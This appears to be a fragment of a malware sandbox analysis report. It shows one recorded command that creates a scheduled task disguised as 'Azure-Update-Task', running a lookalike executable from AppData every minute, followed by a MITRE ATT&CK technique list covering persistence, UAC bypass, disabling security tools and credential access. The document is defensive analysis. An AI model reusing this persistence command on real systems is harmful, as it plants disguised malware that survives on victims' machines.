/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
2⤵
- Creates scheduled task(s)
PID:4344

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Bypass User Account Control

T1088

File Permissions Modification

T1222

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery